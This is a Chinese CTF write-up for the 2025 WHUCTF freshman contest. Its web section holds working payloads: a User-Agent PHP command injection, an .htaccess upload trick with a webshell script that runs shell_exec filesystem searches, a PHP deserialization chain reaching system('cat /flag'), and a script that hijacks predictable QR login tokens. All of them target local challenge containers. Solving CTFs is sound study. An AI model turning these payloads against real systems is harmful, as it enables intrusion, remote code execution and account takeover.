0%

2025whuctf新生赛

WHUCTF新生赛

比上次有进步,但是还是写的很烂,还得加油

web

1.User-Agent

在请求头User-Agent中构造Payload简单绕过一下

1
User-Agent: system('tac /fla' . 'g');

在响应体中得到Flag:WHUCTF{KFc_kr42y_thURsDAy_V_Me_5o_N0w_Pl2Zz2zz}

2.井字棋小游戏

发现是一个简单的纯前端小游戏,翻下代码发现棋盘的参数是数组gameBoard,直接在前端控制台修改一下参数gameBoard = [‘X’, ‘X’ , ‘X’ , null , null, null, null ,null null],然后再点击一下棋盘直接获胜,弹出flag,在network里面看一下具体响应,再响应体里面发现flag:

3.apacherrr

一进去发现一大坨文字直接丢给ai解释大致意思是有三个站点uploaderrr.com,whuctf.com和主站点,先分别访问一下(抓包改一下host头)发现whuctf.com访问不了,uploaderrr.com是个文件上传的地方,一开始直接想到文件上传漏洞发现就算绕过了文件名检测也无法执行shell里面的代码,然后卡住了,问了下师傅+提示,在网上搜了一下,https://luokuang1.github.io/2024/07/23/%E6%B5%85%E8%B0%88ctf%E4%B8%AD-htaccess%E9%85%8D%E7%BD%AE%E6%96%87%E4%BB%B6%E7%9A%84%E8%BF%90%E7%94%A8/
学习了一下大佬的博客,大概了解到,先上传配置文件让apache把.txt文件当成.php文件来执行文件内容为

1
2
AddType application/x-httpd-php .txt
# php_value engine On

然后再上传一个shell.txt文件执行指令,让ai帮写了一下脚本上传文件+扫目录

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
import requests
import time

TARGET_IP = "127.0.0.1"
TARGET_PORT = 60483
UPLOAD_URL = f"http://{TARGET_IP}:{TARGET_PORT}/upload.php"
FLAG_URL = f"http://{TARGET_IP}:{TARGET_PORT}/uploads/phpinfo.txt"

def upload_file(filename, content, content_type="text/plain"):
try:
files = {
'userfile': (filename, content, content_type),
'MAX_FILE_SIZE': (None, '30000')
}
headers = {
'Host': 'uploaderrr.com',
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) Chrome/133.0.0.0 Safari/537.36',
'Origin': f'http://{TARGET_IP}:{TARGET_PORT}',
'Referer': f'http://{TARGET_IP}:{TARGET_PORT}/'
}
response = requests.post(UPLOAD_URL, files=files, headers=headers, timeout=10)
if response.status_code == 200 and "successfully uploaded" in response.text:
print(f"✅ 成功上传 {filename}")
return True
else:
print(f"❌ 上传 {filename} 失败,响应: {response.text[:200]}")
return False
except Exception as e:
print(f"❌ 上传出错: {str(e)}")
return False

def get_flag():
try:
headers = {
'Host': 'whuctf2025.com',
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) Chrome/133.0.0.0 Safari/537.36'
}
response = requests.get(FLAG_URL, headers=headers, timeout=(15, 60))
if response.status_code == 200:
print("\n📜 终极全局搜索结果:")
print(response.text[:15000])
# 精准提取flag格式
import re
real_flag = re.search(r'whuctf\{[a-zA-Z0-9_]{8,32}\}', response.text)
if real_flag:
print(f"\n🎉 找到终极 Flag: {real_flag.group()}")
return True
else:
print(f"❌ 获取结果失败,状态码: {response.status_code}")
return False
except Exception as e:
print(f"❌ 访问出错: {str(e)}")
return False

def main():
print("=== 终极全局搜索:系统级flag挖掘 ===")
# 脚本:执行5个核心系统命令,覆盖所有藏flag的可能
final_search_content = """<?php
echo "=== 终极全局搜索flag ===";
echo "<br><br>";

// 1. 搜索所有文件内容含whuctf{(精准匹配,不遗漏)
echo "🔍 1. 全系统搜索whuctf{:<br>";
echo shell_exec('grep -r "whuctf{" / --include="*.php" --include="*.txt" --include="*.conf" --include="*.ini" 2>/dev/null | grep -v "proc" | grep -v "sys"');
echo "<br><br>";

// 2. 读取Apache系统级配置文件(最可能藏flag)
echo "🔍 2. 读取Apache系统配置:<br>";
$apache_configs = ["/etc/apache2/apache2.conf", "/etc/apache2/sites-available/000-default.conf"];
foreach($apache_configs as $conf) {
if(file_exists($conf)) {
echo "📄 $conf:<br>";
echo nl2br(shell_exec('grep -E "whuctf|flag" ' . escapeshellarg($conf) . ' 2>/dev/null'));
}
}
echo "<br><br>";

// 3. 读取环境变量(CTF常用藏flag方式)
echo "🔍 3. 系统环境变量:<br>";
echo shell_exec('env | grep -i "flag"');
echo "<br><br>";

// 4. 搜索根目录下所有非系统文件(大小10-1000字节,符合flag文件特征)
echo "🔍 4. 根目录可疑文件:<br>";
echo shell_exec('find / -size +10c -size -1000c -type f ! -path "/proc/*" ! -path "/sys/*" ! -path "/usr/*" ! -path "/lib/*" 2>/dev/null');
echo "<br><br>";

// 5. 读取/var/log日志(可能记录flag相关操作)
echo "🔍 5. 日志文件中的flag:<br>";
echo shell_exec('grep -r "whuctf{" /var/log 2>/dev/null | head -n 5');
?>"""

if not upload_file("phpinfo.txt", final_search_content):
return
time.sleep(5) # 全局搜索耗时,延长等待
get_flag()
print("\n=== 终极搜索完成 ===")

if __name__ == "__main__":
main()

发现flag在环境变量里面:

4.Guild(赛后解出来的,有点可惜)

因为死磕一道题去了导致这个比较简单的没写出来

主要思路是根据给出的服务器后端代码server.jar文件(不知道是不是我方法不对),对这文件进行java反汇编,找到关键文件UserDetailsServiceImpl用户认证逻辑:

UserDetailsServiceImpl

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
package top.jwmc.kuri.guild;

import java.util.List;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.security.core.authority.SimpleGrantedAuthority;
import org.springframework.security.core.userdetails.User;
import org.springframework.security.core.userdetails.UserDetails;
import org.springframework.security.core.userdetails.UserDetailsService;
import org.springframework.security.core.userdetails.UsernameNotFoundException;
import org.springframework.security.crypto.password.PasswordEncoder;
import org.springframework.stereotype.Service;

@Service
public class UserDetailsServiceImpl implements UserDetailsService {
public static String USERNAME;
public static String PASSWORD;
@Autowired
PasswordEncoder passwordEncoder;

public UserDetails loadUserByUsername(String username) throws UsernameNotFoundException {
if (!username.equals(USERNAME)) {
throw new UsernameNotFoundException("User not found");
} else {
String password = this.passwordEncoder.encode(PASSWORD);
return new User(username, password, List.of(new SimpleGrantedAuthority("ADMIN"), new SimpleGrantedAuthority("USER")));
}
}
}

这个主要是发现用户名和密码是静态的

GuildSecurityconfig:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
package top.jwmc.kuri.guild;

import org.springframework.security.crypto.password.PasswordEncoder;

class GuildSecurityConfig$1 implements PasswordEncoder {
// $FF: synthetic field
final GuildSecurityConfig this$0;

GuildSecurityConfig$1(final GuildSecurityConfig this$0) {
this.this$0 = this$0;
}

public String encode(CharSequence rawPassword) {
return String.valueOf(rawPassword.toString().hashCode() % 65536);
}

public boolean matches(CharSequence rawPassword, String encodedPassword) {
return String.valueOf(rawPassword.toString().hashCode() % 65536).equals(encodedPassword);
}
}

这个是密码的加密算法是:
$$
( rawpassword->string->hashcode ) mod (65536)
$$
GuildApplication

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
ackage top.jwmc.kuri.guild;

import java.util.UUID;
import org.springframework.boot.SpringApplication;
import org.springframework.boot.autoconfigure.SpringBootApplication;

@SpringBootApplication
public class GuildApplication {
public static void main(String[] args) {
UserDetailsServiceImpl.USERNAME = "admin";
UserDetailsServiceImpl.PASSWORD = UUID.randomUUID().toString();
SpringApplication.run(GuildApplication.class, args);
}
}

发现USERNAME = admin 是硬编码,密码是对 UUID 进行的上述加密,现在只需要找到 UUID 即可

GuildMasterController

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
package top.jwmc.kuri.guild;

import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.security.crypto.password.PasswordEncoder;
import org.springframework.stereotype.Controller;
import org.springframework.ui.Model;
import org.springframework.web.bind.annotation.GetMapping;

@Controller("/")
public class GuildMasterController {
@Autowired
PasswordEncoder passwordEncoder;

@GetMapping({"/"})
public String flag(Model model) {
model.addAttribute("flag", System.getenv("GZCTF_FLAG") == null ? "flag{fake_test_flag}" : System.getenv("GZCTF_FLAG"));
return "index";
}

@GetMapping({"/secret_r0uter"})
public String leak(Model model) {
model.addAttribute("leak", this.passwordEncoder.encode(UserDetailsServiceImpl.PASSWORD));
return "leak";
}
}

注解中发现路径/secret_r0uter 访问一下可发现动态码(UUID)然后进行上述加密找出加密后的字符串即可登录成功得到flag

5.ezUnser(复现)

代码审计:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
<?php
highlight_file(__FILE__);
$ser_a1 = $_POST['a'];
$ser_b1 = $_POST['b'];
$c = $_POST['c'];

$obj_a1 = unserialize($ser_a1);
$obj_b1 = unserialize($ser_b1);

$ser_a2 = serialize(unserialize($ser_a1));
$ser_b2 = serialize(unserialize($ser_b1));

$obj_a2 = unserialize($ser_a2);
$obj_b2 = unserialize($ser_b2);

if(get_class($obj_a1) === get_class($obj_a2) || get_class($obj_b1) === get_class($obj_b2)){
die("Nope");
}

if ($ser_a1 != $ser_a2 && $ser_b1 != $ser_b2) {
($obj_a2->$c())($obj_b2->$c());
}

详见序列化和反序列化

题目要求接收 POST 参数abc,并执行以下操作:

  1. ab分别反序列化,得到$obj_a1$obj_b1(第一次反序列化)。
  2. 把第一次反序列化的结果重新序列化,再反序列化,得到$obj_a2$obj_b2(第二次反序列化)。
  3. 限制 1:如果第一次和第二次反序列化得到的对象类名相同(get_class($obj_a1) === get_class($obj_a2)$obj_b1$obj_b2类名相同),则直接退出(die)。
  4. 限制 2:如果第一次序列化字符串($ser_a1$ser_b1)与第二次序列化字符串($ser_a2$ser_b2)不同,则执行:($obj_a2->$c())($obj_b2->$c())(最终目标是让这行代码执行我们想要的命令)

简单说:第一次反序列化得到临时类对象,第二次反序列化会恢复成原始类对象

PHP 的原生异常类(如ErrorException)有一个公共方法getMessage(),作用是返回构造时传入的字符串。例如:

1
2
$e = new Error("system");
echo $e->getMessage(); // 输出字符串 "system"

构造的序列大致为:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
a=O:6:"Errora":8:{
s:10:"*message";s:6:"system"; // 核心:存储函数名 "system"
s:13:"Errorstring";s:0:""; // Error类自带属性(空值不影响)
s:7:"*code";i:0; // Error类自带属性(0不影响)
s:7:"*file";s:1:""; // 路径设为空(避免环境差异)
s:7:"*line";i:1; // 行号设为1(避免环境差异)
s:12:"Errortrace";a:0:{}; // 堆栈设为空(不影响)
s:15:"Errorprevious";N; // 前置错误设为null(不影响)
s:27:"__PHP_Incomplete_Class_Name";s:5:"Error"; // 关键标签:原始类是Error
}

b=O:6:"Errora":8:{
s:10:"*message";s:9:"cat /flag"; // 核心:存储命令参数 "cat /flag"
s:13:"Errorstring";s:0:""; // 同上,自带属性
s:7:"*code";i:0;
s:7:"*file";s:1:"";
s:7:"*line";i:1;
s:12:"Errortrace";a:0:{};
s:15:"Errorprevious";N;
s:27:"__PHP_Incomplete_Class_Name";s:5:"Error"; // 同上,标签指向Error
}

c=getMessage // 调用的方法名:获取message中的内容

第一次序列化是临时类,第二次序列化是Error类并且存在可调用的方法拼接后得到system('cat /flag')

5.Zakologin(复现)

学废了,第一次见这种题目

https://chat.deepseek.com/share/xv68423hevqn02bt22

  1. 发现每次发过来二维码的token顺序是固定的
  2. 浏览器轮询
  3. 通过自己的token预测下一个token即别人的二维码,劫持下一个人的二维码,等待别人扫码登录抢先登进去

开了两次容器脚本持续请求记录的token

构造攻击脚本根据请求得到的token预测下一个token并劫持,抢先登录

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
import requests
import hashlib
import time
import re

# 配置信息(关键修正:目标页面端口改为61857,与接口端口一致)
GET_TOKEN_URL = "http://127.0.0.1:61857/login/qrcode/get" # 获取token接口
CHECK_TOKEN_URL = "http://127.0.0.1:61857/login/qrcode/check" # 轮询接口
TARGET_PAGE_URL = "http://127.0.0.1:61857/zakofl4g" # 修正端口为61857
HEADERS = {
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) Chrome/133.0.0.0",
"Accept": "application/json, text/html, */*"
}


def get_my_token():
"""自己发送请求,获取当前序列的token(确定N)"""
try:
response = requests.get(GET_TOKEN_URL, headers=HEADERS, timeout=10)
data = response.json()
my_token = data.get("token")
if not my_token:
print("❌ 未能获取自己的token,请检查接口")
exit()
print(f"✅ 已获取自己的token: {my_token}")
return my_token
except Exception as e:
print(f"❌ 获取自己的token失败:{e}")
exit()


def find_current_num(my_token):
"""根据自己的token,反向查找对应的数字N(MD5前16位匹配)"""
num = 1
while True:
test_token = hashlib.md5(str(num).encode()).hexdigest()[:16]
if test_token == my_token:
print(f"✅ 匹配成功!你的token对应数字:{num}")
return num
if num > 1000:
print("❌ 未找到匹配的数字,可能生成算法不是MD5(数字)前16位")
exit()
num += 1


def generate_next_token(current_num):
"""生成下一个token(N+1的MD5前16位)"""
next_num = current_num + 1
next_token = hashlib.md5(str(next_num).encode()).hexdigest()[:16]
print(f"🎯 预测下一个用户的token(数字{next_num}): {next_token}")
return next_token


def hijack_next_token(target_token):
"""持续轮询目标token,劫持登录状态"""
print("\n🚀 开始劫持,等待用户使用该token...")
while True:
try:
response = requests.get(
CHECK_TOKEN_URL,
params={"token": target_token},
headers=HEADERS,
timeout=5
)
data = response.json()
code = data.get("code")

if code == 1:
final_token = data.get("token")
print(f"\n🎉 劫持成功!最终登录token: {final_token}")
extract_flag(final_token)
return
elif code == 2:
print(f"\n⚠️ 发现用户扫码!等待手机确认...")
while True:
time.sleep(0.3)
resp = requests.get(CHECK_TOKEN_URL, params={"token": target_token}, headers=HEADERS)
resp_data = resp.json()
if resp_data.get("code") == 1:
final_token = resp_data.get("token")
print(f"🎉 用户确认登录!最终token: {final_token}")
extract_flag(final_token)
return
elif resp_data.get("code") == 3:
print("⚠️ 用户未确认,二维码过期,继续等待下一个用户...")
break
else:
print(f"🔍 等待中... 状态: {data.get('msg', '未扫码')}", end="\r")
time.sleep(0.5)

except Exception as e:
print(f"\n❌ 请求异常:{e},1秒后重试", end="\r")
time.sleep(1)


def extract_flag(final_token):
"""自动访问目标页面,提取flag"""
print("\n🔍 开始自动访问目标页面,提取flag...")
try:
params = {"token": final_token}
headers_with_auth = HEADERS.copy()
headers_with_auth["Authorization"] = f"Bearer {final_token}"

# 访问修正端口后的目标页面
response = requests.get(
TARGET_PAGE_URL,
params=params,
headers=headers_with_auth,
timeout=10
)
response.raise_for_status() # 抛出HTTP错误

# 提取flag{xxx}格式的内容
flag_pattern = r"flag\{[a-zA-Z0-9_@#$%^&*()\-+=]+\}"
match = re.search(flag_pattern, response.text)
if match:
flag = match.group()
print(f"\n🏆 成功提取flag:{flag}")
return

# 检查响应头
for header_name, header_value in response.headers.items():
if "flag" in header_name.lower() and re.search(flag_pattern, str(header_value)):
flag = re.search(flag_pattern, str(header_value)).group()
print(f"\n🏆 从响应头提取flag:{flag}")
return

# 输出页面内容供手动查找
print("\n⚠️ 未找到标准格式flag,以下是页面内容(可手动搜索flag关键词):")
print("-" * 50)
print(response.text[:2000])
print("-" * 50)

except Exception as e:
print(f"\n❌ 提取flag失败:{e}")
print(f"💡 建议手动访问:{TARGET_PAGE_URL}?token={final_token}")


if __name__ == "__main__":
print("=" * 50)
print("📌 开始执行:自查token → 预测下一个 → 劫持 → 提取flag")
print("=" * 50)

my_token = get_my_token()
current_num = find_current_num(my_token)
next_token = generate_next_token(current_num)
hijack_next_token(next_token)


misc

1.猫咪日记

emoji表情首先想到base100解密一下得到flag

2.梅林午餐肉

类似Bacon加密,把C换成A再Bacon解密一下得到flag

3.01AI-Problem(没接触过)

让ai写一个模型根据modeified_mnist给的数据进行训练简单训练一下给出模型文件mnist_model.pth

大致知道流程了,根据给出的训练数据集训练生成一个模型参数然后再根据这个参数识别图案得到密文:20311369131496163448410746113142281526584940390147578688469508297899856840539896843521565163417523789 然后再让读取一下mnist_cnn_weights.pth 里面的的内容得到:

1
odict_keys(['conv1.weight', 'conv1.bias', 'conv2.weight', 'conv2.bias', 'XOR_KEY_PART2_998244353ISAPRIME.weight', 'XOR_KEY_PART2_998244353ISAPRIME.bias', 'XOR_KEY_PART1_CIALLO0d000721.weight', 'XOR_KEY_PART1_CIALLO0d000721.bias'])

发现是异或解密密钥为CIALLO0d000721998244353ISAPRIME然后把密文转16进制进行异或解密得到flag

-------------到底咯QAQ嘎嘎-------------